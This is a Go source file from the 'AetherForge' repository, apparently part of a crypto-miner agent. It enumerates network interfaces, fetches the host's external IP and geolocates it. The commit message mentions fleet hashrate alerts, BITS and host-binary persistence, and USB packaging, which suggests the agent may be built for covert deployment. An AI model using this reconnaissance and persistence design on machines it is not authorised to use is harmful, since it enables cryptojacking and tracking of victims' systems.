Files
AetherForge/agent/client/syscheck_net.go
AetherForge d52479c9a6 feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
2026-06-03 20:32:59 -07:00

132 lines
2.8 KiB
Go

package client
import (
"encoding/json"
"fmt"
"io"
"net"
"net/http"
"strings"
"time"
"crypto-miner-agent/deploy"
)
func listNetInterfaces() []SysCheckInterface {
ifaces, err := net.Interfaces()
if err != nil {
return nil
}
var out []SysCheckInterface
for _, iface := range ifaces {
if iface.Flags&net.FlagUp == 0 {
continue
}
entry := SysCheckInterface{Name: iface.Name}
if mac := iface.HardwareAddr.String(); mac != "" {
entry.MAC = mac
}
addrs, err := iface.Addrs()
if err != nil {
continue
}
for _, a := range addrs {
switch v := a.(type) {
case *net.IPNet:
if ip4 := v.IP.To4(); ip4 != nil {
entry.IPv4 = append(entry.IPv4, fmt.Sprintf("%s/%d", ip4.String(), ones(v.Mask)))
} else if v.IP != nil && v.IP.To4() == nil {
entry.IPv6 = append(entry.IPv6, v.IP.String())
}
}
}
if len(entry.IPv4) > 0 || len(entry.IPv6) > 0 || entry.MAC != "" {
out = append(out, entry)
}
}
return out
}
func ones(mask net.IPMask) int {
n, _ := mask.Size()
return n
}
func fetchExternalIP() (ip, source string) {
client := &http.Client{Timeout: 6 * time.Second}
services := []struct {
url string
source string
}{
{"https://api.ipify.org", "ipify"},
{"https://icanhazip.com", "icanhazip"},
{"https://ifconfig.me/ip", "ifconfig.me"},
}
for _, svc := range services {
resp, err := client.Get(svc.url)
if err != nil {
continue
}
body, err := io.ReadAll(io.LimitReader(resp.Body, 64))
resp.Body.Close()
if err != nil || resp.StatusCode != http.StatusOK {
continue
}
candidate := strings.TrimSpace(string(body))
if parsed := net.ParseIP(candidate); parsed != nil && parsed.To4() != nil {
return candidate, svc.source
}
}
if wan, err := deploy.GetPublicEndpoint(); err == nil && wan != "" {
return wan, "upnp"
}
return "", ""
}
func fetchGeo(ip string) *SysCheckGeo {
if ip == "" {
return nil
}
url := fmt.Sprintf("http://ip-api.com/json/%s?fields=status,message,query,country,regionName,city,lat,lon,isp,org", ip)
client := &http.Client{Timeout: 8 * time.Second}
resp, err := client.Get(url)
if err != nil {
return nil
}
defer resp.Body.Close()
data, err := io.ReadAll(io.LimitReader(resp.Body, 4096))
if err != nil {
return nil
}
var m map[string]interface{}
if json.Unmarshal(data, &m) != nil {
return nil
}
if s, _ := m["status"].(string); s != "success" {
return nil
}
g := &SysCheckGeo{Query: ip}
if v, ok := m["country"].(string); ok {
g.Country = v
}
if v, ok := m["regionName"].(string); ok {
g.Region = v
}
if v, ok := m["city"].(string); ok {
g.City = v
}
if v, ok := m["isp"].(string); ok {
g.ISP = v
}
if v, ok := m["org"].(string); ok {
g.Org = v
}
if v, ok := m["lat"].(float64); ok {
g.Lat = v
}
if v, ok := m["lon"].(float64); ok {
g.Lon = v
}
return g
}